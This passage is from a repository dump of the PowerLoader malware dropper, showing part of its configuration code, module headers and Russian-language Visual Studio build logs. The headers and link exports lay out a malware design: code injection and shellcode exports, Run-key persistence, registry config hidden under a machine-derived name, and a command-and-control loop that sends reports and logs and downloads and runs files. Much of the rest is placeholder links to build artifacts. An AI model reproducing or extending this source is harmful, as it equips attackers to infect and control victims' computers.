| _snprintf(Buffer, sizeof(Buffer), "%d", Int); 70 | 71 | return WriteString(Section, Name, Buffer); 72 | } 73 | 74 | BOOLEAN Config::RegWriteString(PCHAR String, PCHAR Value) 75 | { 76 | BOOLEAN bResult = FALSE; 77 | HKEY hKey; 78 | DWORD dwDisposition; 79 | CHAR KeyName[MAX_PATH] = "SOFTWARE\\"; 80 | 81 | Protect::GetFileNameFromGuid(Drop::GetMachineGuid(), &KeyName[sizeof("SOFTWARE\\")-1]); 82 | LONG St = RegCreateKeyEx(HKEY_CURRENT_USER, KeyName, 0, NULL, 0, KEY_WRITE|KEY_READ, NULL, &hKey, &dwDisposition); 83 | if (St == ERROR_SUCCESS) 84 | { 85 | bResult = RegSetValueEx(hKey, String, 0, REG_SZ, (LPBYTE)Value, lstrlen(Value)) == ERROR_SUCCESS; 86 | 87 | RegCloseKey(hKey); 88 | } 89 | 90 | return bResult; 91 | } 92 | 93 | BOOLEAN Config::RegReadString(PCHAR String, PCHAR Value, DWORD dwValue) 94 | { 95 | BOOLEAN bResult = FALSE; 96 | HKEY hKey; 97 | DWORD dwDisposition; 98 | CHAR KeyName[MAX_PATH] = "SOFTWARE\\"; 99 | DWORD dwType = REG_SZ; 100 | 101 | Protect::GetFileNameFromGuid(Drop::GetMachineGuid(), &KeyName[sizeof("SOFTWARE\\")-1]); 102 | LONG St = RegCreateKeyEx(HKEY_CURRENT_USER, KeyName, 0, NULL, 0, KEY_WRITE|KEY_READ, NULL, &hKey, &dwDisposition); 103 | if (St == ERROR_SUCCESS) 104 | { 105 | bResult = RegQueryValueEx(hKey, String, NULL, &dwType, (LPBYTE)Value, &dwValue) == ERROR_SUCCESS; 106 | 107 | RegCloseKey(hKey); 108 | } 109 | 110 | return TRUE; 111 | } 112 | 113 | //---------------------------------------------------------------------------------------------------------------------------------------------------- 114 | -------------------------------------------------------------------------------- /src/sdropper/config.h: -------------------------------------------------------------------------------- 1 | #ifndef _CONFIG_H_ 2 | #define _CONFIG_H_ 3 | 4 | namespace Config 5 | { 6 | #define CFG_DCT_MODVER_SECTION "modver" 7 | #define CFG_DCT_INJECT_SECTION "inject" 8 | #define CFG_DCT_MODULES_SECTION "modules" 9 | #define CFG_DCT_MAIN_SECTION "main" 10 | #define CFG_DCT_MAIN_SRVURLS "srvurls" 11 | #define CFG_DCT_MAIN_SRVDELAY "srvdelay" 12 | #define CFG_DCT_MAIN_SRVRETRY "srvretry" 13 | #define CFG_DCT_MAIN_VERSION "mainver" 14 | #define CFG_DCT_MAIN_BUILDID "buildid" 15 | 16 | extern CHAR ConfigFileName[MAX_PATH]; 17 | extern PVOID ConfigBuffer; 18 | extern DWORD ConfigSize; 19 | 20 | VOID ReadConfig(); 21 | 22 | DWORD ReadInt(PCHAR Section, PCHAR Variable); 23 | BOOLEAN WriteInt(PCHAR Section, PCHAR Name, DWORD Int); 24 | 25 | BOOLEAN ReadString(PCHAR Section, PCHAR Variable, PCHAR Value, DWORD Size); 26 | BOOLEAN WriteString(PCHAR Section, PCHAR Variable, PCHAR Value); 27 | 28 | BOOLEAN RegWriteString(PCHAR String, PCHAR Value); 29 | BOOLEAN RegReadString(PCHAR String, PCHAR Value, DWORD dwValue); 30 | }; 31 | 32 | #endif 33 | -------------------------------------------------------------------------------- /src/sdropper/dropper.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/dropper.cpp -------------------------------------------------------------------------------- /src/sdropper/dropper.h: -------------------------------------------------------------------------------- 1 | #ifndef _SDROPPER_H_ 2 | #define _SDROPPER_H_ 3 | 4 | namespace Drop 5 | { 6 | #define DROP_EXP_MUTEX_ID -3 7 | #define DROP_RUN_MUTEX_ID -1 8 | #define DROP_MACHINEGUID "abcxvcxvx" 9 | #define DROP_MACHINESIGN "sacfsfdsf" 10 | 11 | extern CHAR MachineGuid[MAX_PATH]; 12 | extern CHAR CurrentModulePath[MAX_PATH]; 13 | extern CHAR CurrentConfigPath[MAX_PATH]; 14 | extern PVOID CurrentImageBase; 15 | extern DWORD CurrentImageSize; 16 | extern BOOLEAN bFirstImageLoad; 17 | extern BOOLEAN bWorkThread; 18 | 19 | PCHAR GetMachineGuid(); 20 | VOID CreateInjectStartThread(); 21 | DWORD InjectStartThread(PVOID Context); 22 | }; 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /src/sdropper/protect.h: -------------------------------------------------------------------------------- 1 | #ifndef _PROTECT_H_ 2 | #define _PROTECT_H_ 3 | 4 | namespace Protect 5 | { 6 | BOOLEAN UpdateMain(PVOID Buffer, DWORD Size); 7 | VOID GetFileNameFromGuid(PCHAR Guid, PCHAR Name); 8 | VOID GetNewPath(PCHAR Path, PCHAR Ext); 9 | VOID GetStorageFolderPath(PCHAR Path); 10 | BOOLEAN AddKeyToRun(PCHAR NewFilePath); 11 | BOOLEAN WriteFileToNewPath(PCHAR CurrentFilePath, PCHAR NewFileName); 12 | VOID StartProtect(); 13 | DWORD ProtectThread(PVOID Context); 14 | }; 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /src/sdropper/server.h: -------------------------------------------------------------------------------- 1 | #ifndef _SERVER_H_ 2 | #define _SERVER_H_ 3 | 4 | namespace Server 5 | { 6 | #define SRV_TYPE_REPORT 33 7 | #define SRV_TYPE_TASKANSWER 34 8 | #define SRV_TYPE_LOADFILE 35 9 | #define SRV_TYPE_LOG 36 10 | 11 | DWORD ServerLoopThread(PVOID Context); 12 | DWORD ProcessServerAnswer(PCHAR Buffer); 13 | 14 | BOOLEAN SendReport(PCHAR ServerUrl); 15 | PCHAR SendRequest(PCHAR ServerUrl, DWORD Type, PCHAR Request, DWORD Len, BOOLEAN Wait, PDWORD Size, PBOOLEAN pbok); 16 | 17 | VOID SendLogsToServer(); 18 | VOID SendServerAnswer(DWORD TaskId, PCHAR ServerUrl, BOOLEAN Result, DWORD LastError); 19 | PVOID DownloadFileById(DWORD FileId, PCHAR ServerUrl, PDWORD pSize); 20 | }; 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.1336.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.1336.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.1336.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.1336.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.1392.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.1392.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.1392.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.1392.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.3692.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.3692.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.3692.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.3692.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.4524.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.4524.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.4524.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.4524.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.6008.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.6008.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.6008.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.6008.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.6012.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.6012.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.6012.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.6012.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.696.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.696.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.696.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.696.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.876.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.876.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.876.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.876.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/CL.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/cfgini.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/cfgini.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/cl.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/cl.command.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/cl.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/cl.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/config.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/config.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/dropper.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/dropper.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/exploit.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/exploit.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/inject.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/inject.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/link.command.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/link.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/link.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/peldr.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/peldr.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/protect.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/protect.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/sdropper32.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\_OUT\DEBUG\SDROPPER32.EXE 2 | C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper32.exp 3 | C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper32.lib 4 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\_OUT\DEBUG\SDROPPER32.MAP 5 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\_OUT\DEBUG\SDROPPER32.PDB 6 | C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\Debug\sdropper32.exe 7 | C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\Debug\sdropper32.pdb 8 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\cfgini.obj 9 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.1164.read.1.tlog 10 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.1164.write.1.tlog 11 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.2432.read.1.tlog 12 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.2432.write.1.tlog 13 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.2740.read.1.tlog 14 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.2740.write.1.tlog 15 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.2984.read.1.tlog 16 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.2984.write.1.tlog 17 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.4748.read.1.tlog 18 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.4748.write.1.tlog 19 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.4988.read.1.tlog 20 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.4988.write.1.tlog 21 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.5112.read.1.tlog 22 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.5112.write.1.tlog 23 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.5580.read.1.tlog 24 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.5580.write.1.tlog 25 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\cl.command.1.tlog 26 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\CL.read.1.tlog 27 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\cl.write.1.tlog 28 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\config.obj 29 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\dropper.obj 30 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\exploit.obj 31 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\inject.obj 32 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\link.command.1.tlog 33 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\link.read.1.tlog 34 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\link.write.1.tlog 35 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\peldr.obj 36 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\protect.obj 37 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\sdropper32.write.1.tlog 38 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\seccfg.obj 39 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\server.obj 40 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\utils.obj 41 | C:\_WORK\PROJECTS\_POWER_LDR\POWER_LDR\SDROPPER\VCXPROJ32\DEBUG\VC100.PDB 42 | C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\Debug\x64utils.obj 43 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/sdropper32.lastbuildstate: -------------------------------------------------------------------------------- 1 | #v4.0:v100 2 | Debug|Win32|C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\| 3 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/sdropper32.log: -------------------------------------------------------------------------------- 1 | Построение начато 07.09.2012 20:00:27. 2 | 1>Проект "C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\sdropper32.vcxproj" в узле 3 (целевые объекты rebuild). 3 | 1>_PrepareForClean: 4 | Файл "Debug\sdropper32.lastbuildstate" удаляется. 5 | InitializeBuildStatus: 6 | Создание "Debug\sdropper32.unsuccessfulbuild", так как было задано "AlwaysCreate". 7 | ClCompile: 8 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\CL.exe /c /I..\..\share /Zi /nologo /W3 /WX- /Od /Oy- /D WIN32 /D _WIN32 /D _DEBUG /D _WINDOWS /D _CRT_SECURE_NO_WARNINGS /D _MBCS /Gm- /MTd /GS- /fp:precise /Zc:wchar_t /Zc:forScope /GR- /Fo"Debug\\" /Fd"Debug\vc100.pdb" /Gz /TP /analyze- /errorReport:prompt ..\..\share\cfgini.cpp ..\..\share\peldr.cpp ..\..\share\seccfg.cpp ..\..\share\utils.cpp ..\..\share\x64utils.cpp ..\config.cpp ..\protect.cpp ..\inject.cpp ..\dropper.cpp ..\exploit.cpp ..\server.cpp /MP 9 | cfgini.cpp 10 | peldr.cpp 11 | seccfg.cpp 12 | utils.cpp 13 | x64utils.cpp 14 | config.cpp 15 | protect.cpp 16 | inject.cpp 17 | dropper.cpp 18 | exploit.cpp 19 | server.cpp 20 | Link: 21 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"..\..\_out\Debug\sdropper32.exe" /INCREMENTAL:NO /NOLOGO ntdll32.lib shlwapi.lib wsock32.lib wininet.lib rpcrt4.lib imagehlp.lib psapi.lib Urlmon.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST:NO /DEBUG /PDB:"C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper32.pdb" /MAP /MAPINFO:EXPORTS /ASSEMBLYDEBUG /SUBSYSTEM:WINDOWS /TLBID:1 /ENTRY:"Entry" /DYNAMICBASE /FIXED:NO /NXCOMPAT /IMPLIB:"C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\Debug\sdropper32.lib" /MACHINE:X86 Debug\cfgini.obj 22 | Debug\peldr.obj 23 | Debug\seccfg.obj 24 | Debug\utils.obj 25 | Debug\x64utils.obj 26 | Debug\config.obj 27 | Debug\protect.obj 28 | Debug\inject.obj 29 | Debug\dropper.obj 30 | Debug\exploit.obj 31 | Debug\server.obj /export:InjectedShellCodeStart 32 | /export:InjectedShellCodeEnd 33 | /export:InjectNormalRoutine 34 | /export:InjectApcRoutine 35 | /export:DownloadRunExeUrl 36 | /export:DownloadRunExeId 37 | /export:DownloadUpdateMain 38 | /export:WriteConfigString 39 | /export:SendLogs 40 | 41 | Создается библиотека C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\Debug\sdropper32.lib и объект C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\Debug\sdropper32.exp 42 | sdropper32.vcxproj -> C:\_Work\Projects\_power_ldr\power_ldr\_vcxproj\..\_out\Debug\sdropper32.exe 43 | FinalizeBuildStatus: 44 | Файл "Debug\sdropper32.unsuccessfulbuild" удаляется. 45 | Обращение к "Debug\sdropper32.lastbuildstate". 46 | 1>Построение проекта "C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\sdropper32.vcxproj" завершено (целевые объекты rebuild). 47 | 48 | Построение успешно завершено. 49 | 50 | Затраченное время: 00:00:02.94 51 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/sdropper32.write.1.tlog: -------------------------------------------------------------------------------- 1 | ^C:\_Work\Projects\_power_ldr\power_ldr\sdropper\vcxproj32\sdropper32.vcxproj 2 | C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper32.lib 3 | C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper32.lib 4 | C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper32.exp 5 | C:\_Work\Projects\_power_ldr\power_ldr\_out\Debug\sdropper32.exp 6 | -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/seccfg.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/seccfg.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/server.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/server.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/utils.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/utils.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/vc100.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/vc100.pdb -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Debug/x64utils.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Debug/x64utils.obj -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.1860.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.1860.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.1860.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.1860.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.2068.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.2068.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.2068.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.2068.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.4308.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.4308.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.4308.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.4308.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.4412.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.4412.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.4412.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.4412.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.4716.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.4716.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.4716.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.4716.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.4748.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.4748.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.4748.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.4748.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.5724.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.5724.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.5724.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.5724.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.5796.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.5796.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.5796.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.5796.write.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/sdropper/vcxproj32/Release/CL.read.1.tlog -------------------------------------------------------------------------------- /src/sdropper/vcxproj32/Release/cfgini.obj: -------------------------------------------------------------------------------- 